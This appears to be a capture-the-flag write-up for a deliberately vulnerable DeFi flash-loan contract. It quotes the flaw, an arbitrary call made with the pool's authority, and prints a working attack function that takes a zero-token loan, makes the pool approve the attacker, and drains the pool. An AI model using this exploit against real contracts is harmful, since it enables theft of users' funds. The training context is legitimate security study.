This challenge involves another flash loan contract offering loans for the DVT token. The goal is that stealing the money from pool to drain money. And attacker gets TOKENS_IN_POOL ETH.
// Attacker has taken all tokens from the pool expect( awaitthis.token.balanceOf(attacker.address) ).to.equal(TOKENS_IN_POOL); expect( awaitthis.token.balanceOf(this.pool.address) ).to.equal('0'); });
The TrusterLenderPool contract accepts a custom function to call and a payload as its argument. This allows us to call any contract function on the flash loan contract’s behalf which can be exploited.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
function flashLoan( uint256 borrowAmount, address borrower, address target, bytes calldata data ) external nonReentrant { uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); damnValuableToken.transfer(borrower, borrowAmount); target.functionCall(data);
First, we take a flash loan of 0 tokens (such that no repayment is required) and pass the token’s approve function as arguments with a payload that approves our attacker to withdraw all funds in a subsequent transaction. This works because the context under which approve is executed is the TrusterLenderPool contract because it is the one calling it.
1 2 3 4 5 6
function attack(uint256 amount) external { //msg.sender flashloan 0 ETH. Then pool approves this contract 'amount' ETH. pool.flashLoan(0, msg.sender, address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", address(this), amount)); //So this contract can transferFrom amount ETH. damnValuableToken.transferFrom(address(pool), msg.sender, amount); }